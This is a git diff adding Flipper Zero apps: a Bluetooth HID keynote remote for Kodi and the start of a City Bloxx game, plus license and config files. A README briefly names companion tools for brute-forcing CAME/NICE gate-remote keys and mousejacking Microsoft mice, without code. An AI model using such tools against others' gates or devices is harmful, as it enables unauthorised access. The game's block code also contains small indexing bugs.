+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.

+ 14 - 0
non_catalog_apps/bt_hid_kodi/README.md

@@ -0,0 +1,14 @@
+# flipperzero-tools
+Various tools for Flipper Zero
+
+## rawsub_decoder
+See README inside directory.
+
+## generator_433_868.py
+Generates .sub for given 12bits keys with CAME and NICE protocols.
+It's an adaptation from UberGuidoZ's `CAME_brute_force` and there is also code re-use from tobiabocchi's `flipperzero-bruteforce`. URLs of those code bases are in header of the python script.
+
+## faps
+- bt_hid_kodi: Application Bluetooth remote Keynote for Kodi (original app + feature: long press on OK to switch between "Space" and "Return" (useful for Kodi to navigate the menus))
+- nrfsniff_ms & mousejacker_ms: Applications NRF Sniff & Mousejacker for Microsoft mouse (hardcoded)
+

+ 16 - 0
non_catalog_apps/bt_hid_kodi/application.fam

@@ -0,0 +1,16 @@
+App(
+    appid="bt_hid_kodi",
+    name="BT Remote for Kodi",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="bt_hid_kodi",
+    stack_size=1 * 1024,
+    cdefines=["APP_BLE_HID"],
+    requires=[
+        "bt",
+        "gui",
+    ],
+    order=10,
+    fap_icon="bt_remote_10px.png",
+    fap_icon_assets="assets",
+    fap_category="Bluetooth",
+)

BIN
non_catalog_apps/bt_hid_kodi/assets/Ble_connected_15x15.png


BIN
non_catalog_apps/bt_hid_kodi/assets/Ble_disconnected_15x15.png


BIN
non_catalog_apps/bt_hid_kodi/assets/Button_18x18.png


BIN
non_catalog_apps/bt_hid_kodi/assets/Ok_btn_9x9.png


BIN
non_catalog_apps/bt_hid_kodi/assets/Ok_btn_pressed_13x13.png


BIN
non_catalog_apps/bt_hid_kodi/assets/Pin_arrow_down_7x9.png


BIN
non_catalog_apps/bt_hid_kodi/assets/Pin_arrow_left_9x7.png


BIN
non_catalog_apps/bt_hid_kodi/assets/Pin_arrow_right_9x7.png


BIN
non_catalog_apps/bt_hid_kodi/assets/Pin_arrow_up_7x9.png


BIN
non_catalog_apps/bt_hid_kodi/assets/Pin_back_arrow_10x8.png


BIN
non_catalog_apps/bt_hid_kodi/assets/Space_65x18.png


+ 126 - 0
non_catalog_apps/bt_hid_kodi/bt_hid.c

@@ -0,0 +1,126 @@
+#include "bt_hid.h"
+#include "bt_hid_kodi_icons.h"
+#include <furi_hal_bt.h>
+#include <notification/notification_messages.h>
+
+#define TAG "BtHidApp"
+
+void bt_hid_dialog_callback(DialogExResult result, void* context) {
+    furi_assert(context);
+    BtHid* app = context;
+    if(result == DialogExResultLeft) {
+        view_dispatcher_stop(app->view_dispatcher);
+    } else if(result == DialogExResultRight) {
+        view_dispatcher_switch_to_view(app->view_dispatcher, app->view_id); // Show last view
+    }
+}
+
+uint32_t bt_hid_exit_confirm_view(void* context) {
+    UNUSED(context);
+    return BtHidViewExitConfirm;
+}
+
+uint32_t bt_hid_exit(void* context) {
+    UNUSED(context);
+    return VIEW_NONE;
+}
+
+void bt_hid_connection_status_changed_callback(BtStatus status, void* context) {
+    furi_assert(context);
+    BtHid* bt_hid = context;
+    bool connected = (status == BtStatusConnected);
+    if(connected) {
+        notification_internal_message(bt_hid->notifications, &sequence_set_blue_255);
+    } else {
+        notification_internal_message(bt_hid->notifications, &sequence_reset_blue);
+    }
+    bt_hid_keynote_set_connected_status(bt_hid->bt_hid_keynote, connected);
+}
+
+BtHid* bt_hid_app_alloc() {
+    BtHid* app = malloc(sizeof(BtHid));
+
+    // Gui
+    app->gui = furi_record_open(RECORD_GUI);
+
+    // Bt
+    app->bt = furi_record_open(RECORD_BT);
+
+    // Notifications
+    app->notifications = furi_record_open(RECORD_NOTIFICATION);
+
+    // View dispatcher
+    app->view_dispatcher = view_dispatcher_alloc();
+    view_dispatcher_enable_queue(app->view_dispatcher);
+    view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
+
+    // Dialog view
+    app->dialog = dialog_ex_alloc();
+    dialog_ex_set_result_callback(app->dialog, bt_hid_dialog_callback);
+    dialog_ex_set_context(app->dialog, app);
+    dialog_ex_set_left_button_text(app->dialog, "Exit");
+    dialog_ex_set_right_button_text(app->dialog, "Stay");
+    dialog_ex_set_header(app->dialog, "Close Current App?", 16, 12, AlignLeft, AlignTop);
+    view_dispatcher_add_view(
+        app->view_dispatcher, BtHidViewExitConfirm, dialog_ex_get_view(app->dialog));
+
+    // Keynote view
+    app->bt_hid_keynote = bt_hid_keynote_alloc();
+    view_set_previous_callback(
+        bt_hid_keynote_get_view(app->bt_hid_keynote), bt_hid_exit_confirm_view);
+    view_dispatcher_add_view(
+        app->view_dispatcher, BtHidViewKeynote, bt_hid_keynote_get_view(app->bt_hid_keynote));
+
+    app->view_id = BtHidViewKeynote;
+    view_dispatcher_switch_to_view(app->view_dispatcher, app->view_id);
+
+    return app;
+}
+
+void bt_hid_app_free(BtHid* app) {
+    furi_assert(app);
+
+    // Reset notification
+    notification_internal_message(app->notifications, &sequence_reset_blue);
+
+    // Free views
+    view_dispatcher_remove_view(app->view_dispatcher, BtHidViewExitConfirm);
+    dialog_ex_free(app->dialog);
+    view_dispatcher_remove_view(app->view_dispatcher, BtHidViewKeynote);
+    bt_hid_keynote_free(app->bt_hid_keynote);
+
+    // Close records
+    furi_record_close(RECORD_GUI);
+    app->gui = NULL;
+    furi_record_close(RECORD_NOTIFICATION);
+    app->notifications = NULL;
+    furi_record_close(RECORD_BT);
+    app->bt = NULL;
+
+    // Free rest
+    free(app);
+}
+
+int32_t bt_hid_kodi(void* p) {
+    UNUSED(p);
+    // Switch profile to Hid
+    BtHid* app = bt_hid_app_alloc();
+    bt_set_status_changed_callback(app->bt, bt_hid_connection_status_changed_callback, app);
+    // Change profile
+    if(!bt_set_profile(app->bt, BtProfileHidKeyboard)) {
+        FURI_LOG_E(TAG, "Failed to switch profile");
+        bt_hid_app_free(app);
+        return -1;
+    }
+    furi_hal_bt_start_advertising();
+
+    view_dispatcher_run(app->view_dispatcher);
+
+    bt_set_status_changed_callback(app->bt, NULL, NULL);
+    // Change back profile to Serial
+    bt_set_profile(app->bt, BtProfileSerial);
+
+    bt_hid_app_free(app);
+
+    return 0;
+}

+ 42 - 0
non_catalog_apps/bt_hid_kodi/bt_hid.h

@@ -0,0 +1,42 @@
+#pragma once
+
+#include <furi.h>
+#include <bt/bt_service/bt.h>
+#include <gui/gui.h>
+#include <gui/view.h>
+#include <gui/view_dispatcher.h>
+#include <notification/notification.h>
+
+#include <gui/modules/submenu.h>
+#include <gui/modules/dialog_ex.h>
+#include "views/bt_hid_keynote.h"
+/*
+#include "views/bt_hid_keyboard.h"
+#include "views/bt_hid_media.h"
+#include "views/bt_hid_mouse.h"
+*/
+
+typedef struct {
+    Bt* bt;
+    Gui* gui;
+    NotificationApp* notifications;
+    ViewDispatcher* view_dispatcher;
+    Submenu* submenu;
+    DialogEx* dialog;
+    BtHidKeynote* bt_hid_keynote;
+    /*
+    BtHidKeyboard* bt_hid_keyboard;
+    BtHidMedia* bt_hid_media;
+    BtHidMouse* bt_hid_mouse;
+    */
+    uint32_t view_id;
+} BtHid;
+
+typedef enum {
+    BtHidViewSubmenu,
+    BtHidViewKeynote,
+    BtHidViewKeyboard,
+    BtHidViewMedia,
+    BtHidViewMouse,
+    BtHidViewExitConfirm,
+} BtHidView;

BIN
non_catalog_apps/bt_hid_kodi/bt_remote_10px.png


+ 243 - 0
non_catalog_apps/bt_hid_kodi/views/bt_hid_keynote.c

@@ -0,0 +1,243 @@
+#include "bt_hid_keynote.h"
+#include <furi.h>
+#include <furi_hal_bt_hid.h>
+#include <furi_hal_usb_hid.h>
+#include <gui/elements.h>
+
+#include "assets_icons.h"
+
+const char* bt_hid_hold_exit = "Hold      : exit";
+const char* bt_hid_hold_space = "Hold      : space";
+const char* bt_hid_hold_enter = "Hold      : enter";
+const char* bt_hid_space_btn = "Space";
+const char* bt_hid_enter_btn = "Enter";
+
+struct BtHidKeynote {
+    View* view;
+};
+
+typedef struct {
+    bool left_pressed;
+    bool up_pressed;
+    bool right_pressed;
+    bool down_pressed;
+    bool ok_pressed;
+    bool back_pressed;
+    bool connected;
+    bool switch_space_return;
+} BtHidKeynoteModel;
+
+static void bt_hid_keynote_draw_arrow(Canvas* canvas, uint8_t x, uint8_t y, CanvasDirection dir) {
+    canvas_draw_triangle(canvas, x, y, 5, 3, dir);
+    if(dir == CanvasDirectionBottomToTop) {
+        canvas_draw_line(canvas, x, y + 6, x, y - 1);
+    } else if(dir == CanvasDirectionTopToBottom) {
+        canvas_draw_line(canvas, x, y - 6, x, y + 1);
+    } else if(dir == CanvasDirectionRightToLeft) {
+        canvas_draw_line(canvas, x + 6, y, x - 1, y);
+    } else if(dir == CanvasDirectionLeftToRight) {
+        canvas_draw_line(canvas, x - 6, y, x + 1, y);
+    }
+}
+
+static void bt_hid_keynote_draw_callback(Canvas* canvas, void* context) {
+    furi_assert(context);
+    BtHidKeynoteModel* model = context;
+
+    // Header
+    if(model->connected) {
+        canvas_draw_icon(canvas, 0, 0, &I_Ble_connected_15x15);
+    } else {
+        canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15);
+    }
+    canvas_set_font(canvas, FontPrimary);
+    elements_multiline_text_aligned(canvas, 17, 3, AlignLeft, AlignTop, "Kodi");
+
+    // Hold instructions
+    canvas_set_font(canvas, FontSecondary);
+    elements_multiline_text_aligned(canvas, 68, 3, AlignLeft, AlignTop, bt_hid_hold_exit);
+    canvas_draw_icon(canvas, 87, 2, &I_Pin_back_arrow_10x8);
+    const char* bt_hid_hold_btn;
+    if(!model->switch_space_return) {
+        bt_hid_hold_btn = bt_hid_hold_enter;
+    } else {
+        bt_hid_hold_btn = bt_hid_hold_space;
+    }
+    elements_multiline_text_aligned(canvas, 68, 12, AlignLeft, AlignTop, bt_hid_hold_btn);
+    canvas_draw_icon(canvas, 87, 11, &I_Ok_btn_9x9);
+
+    // Up
+    canvas_draw_icon(canvas, 21, 24, &I_Button_18x18);
+    if(model->up_pressed) {
+        elements_slightly_rounded_box(canvas, 24, 26, 13, 13);
+        canvas_set_color(canvas, ColorWhite);
+    }
+    bt_hid_keynote_draw_arrow(canvas, 30, 30, CanvasDirectionBottomToTop);
+    canvas_set_color(canvas, ColorBlack);
+
+    // Down
+    canvas_draw_icon(canvas, 21, 45, &I_Button_18x18);
+    if(model->down_pressed) {
+        elements_slightly_rounded_box(canvas, 24, 47, 13, 13);
+        canvas_set_color(canvas, ColorWhite);
+    }
+    bt_hid_keynote_draw_arrow(canvas, 30, 55, CanvasDirectionTopToBottom);
+    canvas_set_color(canvas, ColorBlack);
+
+    // Left
+    canvas_draw_icon(canvas, 0, 45, &I_Button_18x18);
+    if(model->left_pressed) {
+        elements_slightly_rounded_box(canvas, 3, 47, 13, 13);
+        canvas_set_color(canvas, ColorWhite);
+    }
+    bt_hid_keynote_draw_arrow(canvas, 7, 53, CanvasDirectionRightToLeft);
+    canvas_set_color(canvas, ColorBlack);
+
+    // Right
+    canvas_draw_icon(canvas, 42, 45, &I_Button_18x18);
+    if(model->right_pressed) {
+        elements_slightly_rounded_box(canvas, 45, 47, 13, 13);
+        canvas_set_color(canvas, ColorWhite);
+    }
+    bt_hid_keynote_draw_arrow(canvas, 53, 53, CanvasDirectionLeftToRight);
+    canvas_set_color(canvas, ColorBlack);
+
+    // Ok
+    canvas_draw_icon(canvas, 63, 25, &I_Space_65x18);
+    if(model->ok_pressed) {
+        elements_slightly_rounded_box(canvas, 66, 27, 60, 13);
+        canvas_set_color(canvas, ColorWhite);
+    }
+    canvas_draw_icon(canvas, 74, 29, &I_Ok_btn_9x9);
+    const char* bt_hid_btn;
+    if(!model->switch_space_return) {
+        bt_hid_btn = bt_hid_space_btn;
+    } else {
+        bt_hid_btn = bt_hid_enter_btn;
+    }
+    elements_multiline_text_aligned(canvas, 91, 36, AlignLeft, AlignBottom, bt_hid_btn);
+    canvas_set_color(canvas, ColorBlack);
+
+    // Back
+    canvas_draw_icon(canvas, 63, 45, &I_Space_65x18);
+    if(model->back_pressed) {
+        elements_slightly_rounded_box(canvas, 66, 47, 60, 13);
+        canvas_set_color(canvas, ColorWhite);
+    }
+    canvas_draw_icon(canvas, 74, 49, &I_Pin_back_arrow_10x8);
+    elements_multiline_text_aligned(canvas, 91, 57, AlignLeft, AlignBottom, "Back");
+}
+
+static void bt_hid_keynote_process(BtHidKeynote* bt_hid_keynote, InputEvent* event) {
+    with_view_model(
+        bt_hid_keynote->view,
+        BtHidKeynoteModel * model,
+        {
+            if(event->type == InputTypePress) {
+                if(event->key == InputKeyUp) {
+                    model->up_pressed = true;
+                    furi_hal_bt_hid_kb_press(HID_KEYBOARD_UP_ARROW);
+                } else if(event->key == InputKeyDown) {
+                    model->down_pressed = true;
+                    furi_hal_bt_hid_kb_press(HID_KEYBOARD_DOWN_ARROW);
+                } else if(event->key == InputKeyLeft) {
+                    model->left_pressed = true;
+                    furi_hal_bt_hid_kb_press(HID_KEYBOARD_LEFT_ARROW);
+                } else if(event->key == InputKeyRight) {
+                    model->right_pressed = true;
+                    furi_hal_bt_hid_kb_press(HID_KEYBOARD_RIGHT_ARROW);
+                } else if(event->key == InputKeyOk) {
+                    model->ok_pressed = true;
+                } else if(event->key == InputKeyBack) {
+                    model->back_pressed = true;
+                }
+            } else if(event->type == InputTypeRelease) {
+                if(event->key == InputKeyUp) {
+                    model->up_pressed = false;
+                    furi_hal_bt_hid_kb_release(HID_KEYBOARD_UP_ARROW);
+                } else if(event->key == InputKeyDown) {
+                    model->down_pressed = false;
+                    furi_hal_bt_hid_kb_release(HID_KEYBOARD_DOWN_ARROW);
+                } else if(event->key == InputKeyLeft) {
+                    model->left_pressed = false;
+                    furi_hal_bt_hid_kb_release(HID_KEYBOARD_LEFT_ARROW);
+                } else if(event->key == InputKeyRight) {
+                    model->right_pressed = false;
+                    furi_hal_bt_hid_kb_release(HID_KEYBOARD_RIGHT_ARROW);
+                } else if(event->key == InputKeyOk) {
+                    model->ok_pressed = false;
+                } else if(event->key == InputKeyBack) {
+                    model->back_pressed = false;
+                }
+            } else if(event->type == InputTypeShort) {
+                if(event->key == InputKeyBack) {
+                    furi_hal_bt_hid_kb_press(HID_KEYBOARD_DELETE);
+                    furi_hal_bt_hid_kb_release(HID_KEYBOARD_DELETE);
+                    furi_hal_bt_hid_consumer_key_press(HID_CONSUMER_AC_BACK);
+                    furi_hal_bt_hid_consumer_key_release(HID_CONSUMER_AC_BACK);
+                }
+                if(event->key == InputKeyOk) {
+                    if(!model->switch_space_return) {
+                        furi_hal_bt_hid_kb_press(HID_KEYBOARD_SPACEBAR);
+                        furi_hal_bt_hid_kb_release(HID_KEYBOARD_SPACEBAR);
+                    } else {
+                        furi_hal_bt_hid_kb_press(HID_KEYBOARD_RETURN);
+                        furi_hal_bt_hid_kb_release(HID_KEYBOARD_RETURN);
+                    }
+                }
+            }
+        },
+        true);
+}
+
+static bool bt_hid_keynote_input_callback(InputEvent* event, void* context) {
+    furi_assert(context);
+    BtHidKeynote* bt_hid_keynote = context;
+    bool consumed = false;
+
+    if(event->type == InputTypeLong && event->key == InputKeyBack) {
+        furi_hal_bt_hid_kb_release_all();
+    } else if(event->type == InputTypeLong && event->key == InputKeyOk) {
+        with_view_model(
+            bt_hid_keynote->view,
+            BtHidKeynoteModel * model,
+            {
+                model->switch_space_return = !model->switch_space_return;
+                consumed = true;
+            },
+            true);
+    } else {
+        bt_hid_keynote_process(bt_hid_keynote, event);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+BtHidKeynote* bt_hid_keynote_alloc() {
+    BtHidKeynote* bt_hid_keynote = malloc(sizeof(BtHidKeynote));
+    bt_hid_keynote->view = view_alloc();
+    view_set_context(bt_hid_keynote->view, bt_hid_keynote);
+    view_allocate_model(bt_hid_keynote->view, ViewModelTypeLocking, sizeof(BtHidKeynoteModel));
+    view_set_draw_callback(bt_hid_keynote->view, bt_hid_keynote_draw_callback);
+    view_set_input_callback(bt_hid_keynote->view, bt_hid_keynote_input_callback);
+
+    return bt_hid_keynote;
+}
+
+void bt_hid_keynote_free(BtHidKeynote* bt_hid_keynote) {
+    furi_assert(bt_hid_keynote);
+    view_free(bt_hid_keynote->view);
+    free(bt_hid_keynote);
+}
+
+View* bt_hid_keynote_get_view(BtHidKeynote* bt_hid_keynote) {
+    furi_assert(bt_hid_keynote);
+    return bt_hid_keynote->view;
+}
+
+void bt_hid_keynote_set_connected_status(BtHidKeynote* bt_hid_keynote, bool connected) {
+    furi_assert(bt_hid_keynote);
+    with_view_model(
+        bt_hid_keynote->view, BtHidKeynoteModel * model, { model->connected = connected; }, true);
+}

+ 13 - 0
non_catalog_apps/bt_hid_kodi/views/bt_hid_keynote.h

@@ -0,0 +1,13 @@
+#pragma once
+
+#include <gui/view.h>
+
+typedef struct BtHidKeynote BtHidKeynote;
+
+BtHidKeynote* bt_hid_keynote_alloc();
+
+void bt_hid_keynote_free(BtHidKeynote* bt_hid_keynote);
+
+View* bt_hid_keynote_get_view(BtHidKeynote* bt_hid_keynote);
+
+void bt_hid_keynote_set_connected_status(BtHidKeynote* bt_hid_keynote, bool connected);

+ 191 - 0
non_catalog_apps/citybloxx/.clang-format

@@ -0,0 +1,191 @@
+---
+Language:        Cpp
+AccessModifierOffset: -4
+AlignAfterOpenBracket: AlwaysBreak
+AlignArrayOfStructures: None
+AlignConsecutiveMacros: None
+AlignConsecutiveAssignments: None
+AlignConsecutiveBitFields: None
+AlignConsecutiveDeclarations: None
+AlignEscapedNewlines: Left
+AlignOperands:   Align
+AlignTrailingComments: false
+AllowAllArgumentsOnNextLine: true
+AllowAllParametersOfDeclarationOnNextLine: false
+AllowShortEnumsOnASingleLine: true
+AllowShortBlocksOnASingleLine: Never
+AllowShortCaseLabelsOnASingleLine: false
+AllowShortFunctionsOnASingleLine: None
+AllowShortLambdasOnASingleLine: All
+AllowShortIfStatementsOnASingleLine: WithoutElse
+AllowShortLoopsOnASingleLine: true
+AlwaysBreakAfterDefinitionReturnType: None
+AlwaysBreakAfterReturnType: None
+AlwaysBreakBeforeMultilineStrings: false
+AlwaysBreakTemplateDeclarations: Yes
+AttributeMacros:
+  - __capability
+BinPackArguments: false
+BinPackParameters: false
+BraceWrapping:
+  AfterCaseLabel:  false
+  AfterClass:      false
+  AfterControlStatement: Never
+  AfterEnum:       false
+  AfterFunction:   false
+  AfterNamespace:  false
+  AfterObjCDeclaration: false
+  AfterStruct:     false
+  AfterUnion:      false
+  AfterExternBlock: false
+  BeforeCatch:     false
+  BeforeElse:      false
+  BeforeLambdaBody: false
+  BeforeWhile:     false
+  IndentBraces:    false
+  SplitEmptyFunction: true
+  SplitEmptyRecord: true
+  SplitEmptyNamespace: true
+BreakBeforeBinaryOperators: None
+BreakBeforeConceptDeclarations: true
+BreakBeforeBraces: Attach
+BreakBeforeInheritanceComma: false
+BreakInheritanceList: BeforeColon
+BreakBeforeTernaryOperators: false
+BreakConstructorInitializersBeforeComma: false
+BreakConstructorInitializers: BeforeComma
+BreakAfterJavaFieldAnnotations: false
+BreakStringLiterals: false
+ColumnLimit:     99
+CommentPragmas:  '^ IWYU pragma:'
+QualifierAlignment: Leave
+CompactNamespaces: false
+ConstructorInitializerIndentWidth: 4
+ContinuationIndentWidth: 4
+Cpp11BracedListStyle: true
+DeriveLineEnding: true
+DerivePointerAlignment: false
+DisableFormat:   false
+EmptyLineAfterAccessModifier: Never
+EmptyLineBeforeAccessModifier: LogicalBlock
+ExperimentalAutoDetectBinPacking: false
+PackConstructorInitializers: BinPack
+BasedOnStyle:    ''
+ConstructorInitializerAllOnOneLineOrOnePerLine: false
+AllowAllConstructorInitializersOnNextLine: true
+FixNamespaceComments: false
+ForEachMacros:
+  - foreach
+  - Q_FOREACH
+  - BOOST_FOREACH
+IfMacros:
+  - KJ_IF_MAYBE
+IncludeBlocks:   Preserve
+IncludeCategories:
+  - Regex:           '.*'
+    Priority:        1
+    SortPriority:    0
+    CaseSensitive:   false
+  - Regex:           '^(<|"(gtest|gmock|isl|json)/)'
+    Priority:        3
+    SortPriority:    0
+    CaseSensitive:   false
+  - Regex:           '.*'
+    Priority:        1
+    SortPriority:    0
+    CaseSensitive:   false
+IncludeIsMainRegex: '(Test)?$'
+IncludeIsMainSourceRegex: ''
+IndentAccessModifiers: false
+IndentCaseLabels: false
+IndentCaseBlocks: false
+IndentGotoLabels: true
+IndentPPDirectives: None
+IndentExternBlock: AfterExternBlock
+IndentRequires:  false
+IndentWidth:     4
+IndentWrappedFunctionNames: true
+InsertTrailingCommas: None
+JavaScriptQuotes: Leave
+JavaScriptWrapImports: true
+KeepEmptyLinesAtTheStartOfBlocks: false
+LambdaBodyIndentation: Signature
+MacroBlockBegin: ''
+MacroBlockEnd:   ''
+MaxEmptyLinesToKeep: 1
+NamespaceIndentation: None
+ObjCBinPackProtocolList: Auto
+ObjCBlockIndentWidth: 4
+ObjCBreakBeforeNestedBlockParam: true
+ObjCSpaceAfterProperty: true
+ObjCSpaceBeforeProtocolList: true
+PenaltyBreakAssignment: 10
+PenaltyBreakBeforeFirstCallParameter: 30
+PenaltyBreakComment: 10
+PenaltyBreakFirstLessLess: 0
+PenaltyBreakOpenParenthesis: 0
+PenaltyBreakString: 10
+PenaltyBreakTemplateDeclaration: 10
+PenaltyExcessCharacter: 100
+PenaltyReturnTypeOnItsOwnLine: 60
+PenaltyIndentedWhitespace: 0
+PointerAlignment: Left
+PPIndentWidth:   -1
+ReferenceAlignment: Pointer
+ReflowComments:  false
+RemoveBracesLLVM: false
+SeparateDefinitionBlocks: Leave
+ShortNamespaceLines: 1
+SortIncludes:    Never
+SortJavaStaticImport: Before
+SortUsingDeclarations: false
+SpaceAfterCStyleCast: false
+SpaceAfterLogicalNot: false
+SpaceAfterTemplateKeyword: true
+SpaceBeforeAssignmentOperators: true
+SpaceBeforeCaseColon: false
+SpaceBeforeCpp11BracedList: false
+SpaceBeforeCtorInitializerColon: true
+SpaceBeforeInheritanceColon: true
+SpaceBeforeParens: Never
+SpaceBeforeParensOptions:
+  AfterControlStatements: false
+  AfterForeachMacros: false
+  AfterFunctionDefinitionName: false
+  AfterFunctionDeclarationName: false
+  AfterIfMacros:   false
+  AfterOverloadedOperator: false
+  BeforeNonEmptyParentheses: false
+SpaceAroundPointerQualifiers: Default
+SpaceBeforeRangeBasedForLoopColon: true
+SpaceInEmptyBlock: false
+SpaceInEmptyParentheses: false
+SpacesBeforeTrailingComments: 1
+SpacesInAngles:  Never
+SpacesInConditionalStatement: false
+SpacesInContainerLiterals: false
+SpacesInCStyleCastParentheses: false
+SpacesInLineCommentPrefix:
+  Minimum:         1
+  Maximum:         -1
+SpacesInParentheses: false
+SpacesInSquareBrackets: false
+SpaceBeforeSquareBrackets: false
+BitFieldColonSpacing: Both
+Standard:        c++03
+StatementAttributeLikeMacros:
+  - Q_EMIT
+StatementMacros:
+  - Q_UNUSED
+  - QT_REQUIRE_VERSION
+TabWidth:        4
+UseCRLF:         false
+UseTab:          Never
+WhitespaceSensitiveMacros:
+  - STRINGIZE
+  - PP_STRINGIZE
+  - BOOST_PP_STRINGIZE
+  - NS_SWIFT_NAME
+  - CF_SWIFT_NAME
+...
+

+ 52 - 0
non_catalog_apps/citybloxx/.gitignore

@@ -0,0 +1,52 @@
+# Prerequisites
+*.d
+
+# Object files
+*.o
+*.ko
+*.obj
+*.elf
+
+# Linker output
+*.ilk
+*.map
+*.exp
+
+# Precompiled Headers
+*.gch
+*.pch
+
+# Libraries
+*.lib
+*.a
+*.la
+*.lo
+
+# Shared objects (inc. Windows DLLs)
+*.dll
+*.so
+*.so.*
+*.dylib
+
+# Executables
+*.exe
+*.out
+*.app
+*.i*86
+*.x86_64
+*.hex
+
+# Debug files
+*.dSYM/
+*.su
+*.idb
+*.pdb
+
+# Kernel Module Compile Results
+*.mod*
+*.cmd
+.tmp_versions/
+modules.order
+Module.symvers
+Mkfile.old
+dkms.conf

+ 21 - 0
non_catalog_apps/citybloxx/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2023 Milk-Cool
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

+ 2 - 0
non_catalog_apps/citybloxx/README.md

@@ -0,0 +1,2 @@
+# fz-citybloxx
+City Bloxx for the Flipper Zero!

+ 11 - 0
non_catalog_apps/citybloxx/application.fam

@@ -0,0 +1,11 @@
+App(
+    appid="citybloxx",
+    name="City Bloxx",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="citybloxx_main",
+    requires=["gui"],
+    stack_size=1 * 1024,
+    fap_category="Games",
+    fap_icon="icon.png",
+    fap_version="1.0"
+)

+ 98 - 0
non_catalog_apps/citybloxx/blocks.c

@@ -0,0 +1,98 @@
+#include "blocks.h"
+#include <stdlib.h>
+#include <math.h>
+
+Block get_house() {
+    Line* house = (Line*)malloc(sizeof(Line) * HOUSE_LINE_CO);
+
+    // Outline
+    house[0].a.x = -10;
+    house[0].a.y = 30;
+    house[0].b.x = 10;
+    house[0].b.y = 30;
+
+    house[1].a.x = 10;
+    house[1].a.y = 30;
+    house[1].b.x = 10;
+    house[1].b.y = 0;
+
+    house[2].a.x = 10;
+    house[2].a.y = 0;
+    house[2].b.x = -10;
+    house[2].b.y = 0;
+
+    house[3].a.x = -10;
+    house[3].a.y = 0;
+    house[3].b.x = -10;
+    house[3].b.y = 30;
+
+    // Windows
+    house[4].a.x = -10;
+    house[4].a.y = 10;
+    house[4].b.x = 10;
+    house[4].b.y = 10;
+
+    house[5].a.x = -10;
+    house[5].a.y = 20;
+    house[5].b.x = 10;
+    house[5].b.y = 20;
+
+    house[6].a.x = -2;
+    house[6].a.y = 10;
+    house[6].b.x = -2;
+    house[6].b.y = 20;
+
+    house[7].a.x = 2;
+    house[7].a.y = 10;
+    house[7].b.x = 2;
+    house[7].b.y = 20;
+
+    house[8].a.x = -6;
+    house[8].a.y = 10;
+    house[8].b.x = -6;
+    house[8].b.y = 20;
+
+    house[9].a.x = -6;
+    house[9].a.y = 15;
+    house[9].b.x = -2;
+    house[9].b.y = 15;
+
+    house[10].a.x = 6;
+    house[10].a.y = 10;
+    house[10].b.x = 6;
+    house[10].b.y = 20;
+
+    house[10].a.x = 2;
+    house[10].a.y = 15;
+    house[10].b.x = 10;
+    house[10].b.y = 15;
+
+    Block b = {HOUSE_LINE_CO, house};
+    return b;
+}
+
+Block get_crane() {
+    Line* crane = (Line*)malloc(sizeof(Line) * CRANE_LINE_CO);
+
+    // Crane rope
+    crane[0].a.x = 0;
+    crane[0].a.y = 0;
+    crane[0].b.x = 0;
+    crane[0].b.y = 15;
+
+    Block b = {CRANE_LINE_CO, crane};
+    return b;
+}
+
+Block get_ground() {
+    Line* ground = (Line*)malloc(sizeof(Line) * GROUND_LINE_CO);
+
+    // Ground
+    ground[0].a.x = -32;
+    ground[0].a.y = 0;
+    ground[0].b.x = 32;
+    ground[0].b.y = 0;
+
+    Block b = {GROUND_LINE_CO, ground};
+    return b;
+}

+ 17 - 0
non_catalog_apps/citybloxx/blocks.h

@@ -0,0 +1,17 @@
+#pragma once
+#include <stdint.h>
+#include "types.h"
+
+#define HOUSE_LINE_CO 11
+#define CRANE_LINE_CO 1
+#define GROUND_LINE_CO 2
+
+typedef struct {
+    uint8_t count;
+    // We have to free this later!
+    Line* lines;
+} Block;
+
+Block get_house();
+Block get_crane();
+Block get_ground();

+ 299 - 0
non_catalog_apps/citybloxx/citybloxx.c

@@ -0,0 +1,299 @@
+#include <furi.h>
+#include <furi_hal.h>
+
+#include <gui/gui.h>
+#include <input/input.h>
+#include <notification/notification.h>
+#include <notification/notification_messages.h>
+
+#include <math.h>
+
+#include "types.h"
+#include "blocks.h"
+#include "manipulations.h"
+
+#define TICK_VALUE 0.002
+#define SIN_MULTIPLIER 10
+#define ROTATION (sin(ticks) * SIN_MULTIPLIER)
+#define ROTATION_LAST (sin(ticks - TICK_VALUE) * SIN_MULTIPLIER)
+#define ROTATION_DIFF (ROTATION - ROTATION_LAST)
+
+#define G_CONSTANT 9.8
+
+#define BLOCK_COUNT 3
+
+bool exiting = false;
+bool game_over;
+
+Block* block_list;
+uint16_t block_list_i;
+
+int8_t balance_base;
+int32_t balance_sum;
+uint16_t balance_count;
+#define BALANCE_VALUE ((balance_sum / balance_count) - balance_base)
+
+const int32_t base = 80;
+const uint8_t house_block_height = 30;
+
+Point top;
+Point bottom;
